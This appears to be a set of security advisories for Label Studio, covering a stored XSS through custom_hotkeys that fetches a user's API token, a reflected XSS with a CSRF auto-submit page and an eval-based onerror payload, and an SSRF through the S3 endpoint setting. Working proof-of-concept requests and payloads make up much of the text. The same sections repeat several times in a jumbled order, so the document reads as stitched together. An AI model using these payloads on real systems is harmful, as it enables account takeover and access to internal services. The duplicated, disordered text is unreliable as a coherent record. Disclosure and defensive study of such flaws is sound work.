PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Description

Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3_endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination.

The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages.

This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services.

Steps to reproduce

1. Create an account in Label Studio

2. Create a new project with basic configuration

3. Create an S3 storage connection with the following configuration:

   {
     "project": 1,
     "title": "Test Storage",
     "bucket": "<filename>",
     "s3_endpoint": "http://internal-web",
     "use_blob_urls": true,
     "aws_access_key_id": "test",
     "aws_secret_access_key": "test"
   }
   

4. Trigger a storage sync operation by sending a POST request to /api/storages/s3/[storage_id]/sync

The application will attempt to connect to the specified endpoint URL as if it were an S3 service. When the request fails due to invalid S3 API responses, the error message will contain the raw response from the internal service, allowing access to internal resources.

Mitigations

• Implement strict validation of S3 endpoint URLs to allow only valid S3service endpoints
• Add an allowlist of endpoint domains and protocols
• Sanitize error messages to prevent leakage of sensitive information from failed requests
• Consider implementing network-level controls to restrict outbound connections from the application server

Impact

This vulnerability has high severity as it allows authenticated users to make requests to arbitrary internal services from the application server, potentially exposing sensitive internal resources and bypassing network segmentation. The inclusion of response data in error messages makes this particularly effective for data exfiltration.

Description

Label Studio's /projects/upload-example endpoint allows injection of arbitrary HTML through a GET request with an appropriately crafted label_config query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.

The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.

This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.

Steps to reproduce

1. Create a malicious label config that includes an XSS payload in embedded task data:

<View><!-- {"data": {"text": "<div><img src=x
onerror=eval(atob(`YWxlcnQoIlhTUyIp`))></div>"}} --><HyperText name="text"
value="$text"/></View>

2. URL encode the payload and access the following URL:

• http://app/projects/upload-example/?label_config=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(YWxlcnQoIlhTUyIp))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E

When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser.

Mitigations

• Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution
• Deprecate the GET behavior at the example-config endpoint since it's not used

Impact

The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Description

Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3_endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination.

The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages.

This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services.

Steps to reproduce

1. Create an account in Label Studio

2. Create a new project with basic configuration

3. Create an S3 storage connection with the following configuration:

   {
     "project": 1,
     "title": "Test Storage",
     "bucket": "<filename>",
     "s3_endpoint": "http://internal-web",
     "use_blob_urls": true,
     "aws_access_key_id": "test",
     "aws_secret_access_key": "test"
   }
   

4. Trigger a storage sync operation by sending a POST request to /api/storages/s3/[storage_id]/sync

The application will attempt to connect to the specified endpoint URL as if it were an S3 service. When the request fails due to invalid S3 API responses, the error message will contain the raw response from the internal service, allowing access to internal resources.

Mitigations

• Implement strict validation of S3 endpoint URLs to allow only valid S3service endpoints
• Add an allowlist of endpoint domains and protocols
• Sanitize error messages to prevent leakage of sensitive information from failed requests
• Consider implementing network-level controls to restrict outbound connections from the application server

Impact

This vulnerability has high severity as it allows authenticated users to make requests to arbitrary internal services from the application server, potentially exposing sensitive internal resources and bypassing network segmentation. The inclusion of response data in error messages makes this particularly effective for data exfiltration.

Description

Label Studio's /projects/upload-example endpoint allows injection of arbitrary HTML through a GET request with an appropriately crafted label_config query parameter. By crafting a specially formatted XML label config with inline task data containing malicious HTML/JavaScript, an attacker can achieve Cross-Site Scripting (XSS). While the application has a Content Security Policy (CSP), it is only set in report-only mode, making it ineffective at preventing script execution.

The vulnerability exists because the upload-example endpoint renders user-provided HTML content without proper sanitization on a GET request. This allows attackers to inject and execute arbitrary JavaScript in victims' browsers by getting them to visit a maliciously crafted URL.

This is considered vulnerable because it enables attackers to execute JavaScript in victims' contexts, potentially allowing theft of sensitive data, session hijacking, or other malicious actions.

Steps to reproduce

1. Create a malicious label config that includes an XSS payload in embedded task data:

<View><!-- {"data": {"text": "<div><img src=x
onerror=eval(atob(`YWxlcnQoIlhTUyIp`))></div>"}} --><HyperText name="text"
value="$text"/></View>

2. URL encode the payload and access the following URL:

• http://app/projects/upload-example/?label_config=%3CView%3E%3C!--%20{%22data%22:%20{%22text%22:%20%22%3Cdiv%3E%3Cimg%20src=x%20onerror=eval(atob(YWxlcnQoIlhTUyIp))%3E%3C/div%3E%22}}%20--%3E%3CHyperText%20name=%22text%22%20value=%22$text%22/%3E%3C/View%3E

When executed, the payload causes the application to render an HTML page containing an img tag that fails to load, triggering the onerror event handler which executes base64-decoded JavaScript, demonstrating successful XSS execution in the victim's browser.

Mitigations

• Enable the Content Security Policy in enforcement mode instead of report-only mode to actively block unauthorized script execution
• Deprecate the GET behavior at the example-config endpoint since it's not used

Impact

The vulnerability requires no special privileges and can be exploited by getting a victim to visit a crafted URL. The impact is high as it allows arbitrary JavaScript execution in victims' browsers, potentially exposing sensitive data or enabling account takeover through session theft.

Summary

The vulnerability allows an attacker to inject a malicious script into the context of a web page, which can lead to data theft, unauthorized actions on behalf of the user, and other attacks.

Details

The vulnerability is reproducible when sending a properly formatted request to the POST /projects/upload-example/ endpoint. In the source code, the vulnerability is located at label_studio/projects/views.py.

39: @require_http_methods(['POST'])
40: def upload_example_using_config(request):
41:     """Generate upload data example by config only"""
42:     config = request.POST.get('label_config', '')
43: 
44:     org_pk = get_organization_from_request(request)
45:     secure_mode = False
46:     if org_pk is not None:
47:         org = generics.get_object_or_404(Organization, pk=org_pk)
48:         secure_mode = org.secure_mode
49: 
50:     try:
51:         Project.validate_label_config(config)
52:         task_data, _, _ = get_sample_task(config, secure_mode)
53:         task_data = playground_replacements(request, task_data)
54:     except (ValueError, ValidationError, lxml.etree.Error):
55:         response = HttpResponse('error while example generating', status=status.HTTP_400_BAD_REQUEST)
56:     else:
57:         response = HttpResponse(json.dumps(task_data))
58:     return response

The vulnerability is specifically located in line 57, where HttpResponse is used.

57:         response = HttpResponse(json.dumps(task_data))

PoC

Send the following request after changing the {host} to your own.

POST /projects/upload-example/ HTTP/1.1
Host: {host}
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

label_config=%3cView%3e%3cText%20name%3d%22text%22%20value%3d%22$textjmwwi%26lt%3bscript%26gt%3balert(1)%26lt%3b%2fscript%26gt%3bs8m37%22%2f%3e%3c%2fView%3e

Or you can create a vulnerable HTML page by changing {domain} beforehand, which can later be sent to the victim.

<html>
  <body>
    <form action="http://{domain}/projects/upload-example/" method="POST">
      <input type="hidden" name="label&#95;config" value="&lt;View&gt;&lt;Text&#32;name&#61;&quot;text&quot;&#32;value&#61;&quot;&#36;textjmwwi&amp;lt&#59;script&amp;gt&#59;alert&#40;1&#41;&amp;lt&#59;&#47;script&amp;gt&#59;s8m37&quot;&#47;&gt;&lt;&#47;View&gt;" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Impact

• Malicious code execution: The user may be forced to perform unwanted actions within their Label Studio account. This includes accessing document.cookie, but note that Label Studio session cookies are marked http-only, mitigating any possibility of session theft.

Prologue

These vulnerabilities have been found and chained by DCODX-AI. Validation of the exploit chain has been confirmed manually.

Summary

A persistent stored cross-site scripting (XSS) vulnerability exists in the custom_hotkeys functionality of the application. An authenticated attacker (or one who can trick a user/administrator into updating their custom_hotkeys) can inject JavaScript code that executes in other users’ browsers when those users load any page using the templates/base.html template. Because the application exposes an API token endpoint (/api/current-user/token) to the browser and lacks robust CSRF protection on some API endpoints, the injected script may fetch the victim’s API token or call token reset endpoints — enabling full account takeover and unauthorized API access. This vulnerability is of critical severity due to the broad impact, minimal requirements for exploitation (authenticated user), and the ability to escalate privileges to full account compromise.

Details

Within templates/base.html, the application renders user-controlled hotkey configuration via the following JavaScript snippet:

var __customHotkeys = {{ user.custom_hotkeys|json_dumps_ensure_ascii|safe }};

Here, user.custom_hotkeys is run through json_dumps_ensure_ascii (in core/templatetags/filters.py) which performs json.dumps(dictionary, ensure_ascii=False) but does not escape closing </script> sequences or other dangerous characters. Because the template uses the |safe filter, the output is inserted into the HTML <script> context without further escaping.

In users/api.py, the PATCH endpoint allows updating of custom_hotkeys:

user.custom_hotkeys = serializer.validated_data['custom_hotkeys']
user.save(update_fields=['custom_hotkeys'])

The serializer allows < and > characters (e.g., "…"), so an attacker can craft a JSON payload via PATCH /api/users/{id}/:

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

When another user loads a page using templates/base.html (for example /user/account/ or /), the rendered JavaScript includes the injected string, causing closing of the original tag and insertion of malicious <script> code. Because the application exposes /api/current-user/token ( in GET) which returns the user’s API token and CSRF protection is relaxed for this API path, the malicious script can fetch the token and send it to an attacker-controlled endpoint, thereby enabling account takeover and further API misuse.

PoC

1. Login to the application

• Go to the login page: GET /user/login/

2. Identify your user ID (via API)

• GET /api/current-user/whoami
• In the response JSON you will see your user ID (for example "id": 123).
• Note this ID for the next step.

3. Inject a malicious hotkey payload in the PATCH request /api/users/{id}

• Using the user API, send a PATCH request to update your custom_hotkeys.

Example request

PATCH /api/users/25 HTTP/1.1
Host: 0.0.0.0:8080
Content-Length: 288
sentry-trace: 926224d7bbfb4f0da9f6ebe333744a52-88db4876de60036c-0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
content-type: application/json
baggage: sentry-environment=opensource,sentry-release=1.21.0,sentry-public_key=5f51920ff82a4675a495870244869c6b,sentry-trace_id=926224d7bbfb4f0da9f6ebe333744a52,sentry-sample_rate=0.01,sentry-transaction=%2Fuser%2Faccount,sentry-sampled=false
Accept: */*
Origin: http://0.0.0.0:8080
Referer: http://0.0.0.0:8080/user/account/personal-info
Accept-Encoding: gzip, deflate, br
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,it;q=0.7,nl;q=0.6
Cookie: {STRIPPED}
Connection: keep-alive

{
   "first_name":"poc",
   "last_name":"test",
   "phone":"123",
   "custom_hotkeys":{
      "INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>console.log(t.token))</script><script>/*xx":{
         "key":"x",
         "active":true
      }
   }
}

Example response

{"id":25,"first_name":"poc","last_name":"test","username":"test","email":"test@dcodx.com","last_activity":"2025-10-24T15:18:18.494398Z","custom_hotkeys":{"INJ;</script><script>fetch(`/api/current-user/token`).then(r=>r.json()).then(t=>alert(t.token))</script><script>/*xx":{"key":"x","active":true}},"avatar":null,"initials":"pt","phone":"123","active_organization":1,"active_organization_meta":{"title":"Label Studio","email":"poc_test_xgd9ce@example.com"},"allow_newsletters":false,"date_joined":"2025-10-24T15:18:18.494532Z"}

4. Verify the injected string persists

• Still logged in as your user, go to your account page (e.g., GET /user/account/).
• See the alert containing the API access token for the user. In a real world attack this token is sent to the attacker server

Impact

Exploitation impact:

• Full account takeover of victim user(s).
• Exposure of API tokens granting access to internal/external APIs.
• Unauthorized API access, data exfiltration, token reset or privilege escalation.
• If victim is administrator or privileged user, wide system compromise possible.

Who is impacted:

• All users who load the template and whose session/token is accessible via browser.
• The organization’s application and data.
• Potentially other end-users if cross-user token exfiltration occurs.

Description

Label Studio's S3 storage integration feature contains a Server-Side Request Forgery (SSRF) vulnerability in its endpoint configuration. When creating an S3 storage connection, the application allows users to specify a custom S3 endpoint URL via the s3_endpoint parameter. This endpoint URL is passed directly to the boto3 AWS SDK without proper validation or restrictions on the protocol or destination.

The vulnerability allows an attacker to make the application send HTTP requests to arbitrary internal services by specifying them as the S3 endpoint. When the storage sync operation is triggered, the application attempts to make S3 API calls to the specified endpoint, effectively making HTTP requests to the target service and returning the response in error messages.

This SSRF vulnerability enables attackers to bypass network segmentation and access internal services that should not be accessible from the external network. The vulnerability is particularly severe because error messages from failed requests contain the full response body, allowing data exfiltration from internal services.

Steps to reproduce

1. Create an account in Label Studio

2. Create a new project with basic configuration

3. Create an S3 storage connection with the following configuration:

   {
     "project": 1,
     "title": "Test Storage",
     "bucket": "<filename>",
     "s3_endpoint": "http://internal-web",
     "use_blob_urls": true,
     "aws_access_key_id": "test",
     "aws_secret_access_key": "test"
   }
   

4. Trigger a storage sync operation by sending a POST request to /api/storages/s3/[storage_id]/sync

The application will attempt to connect to the specified endpoint URL as if it were an S3 service. When the request fails due to invalid S3 API responses, the error message will contain the raw response from the internal service, allowing access to internal resources.

Mitigations

• Implement strict validation of S3 endpoint URLs to allow only valid S3service endpoints
• Add an allowlist of endpoint domains and protocols
• Sanitize error messages to prevent leakage of sensitive information from failed requests
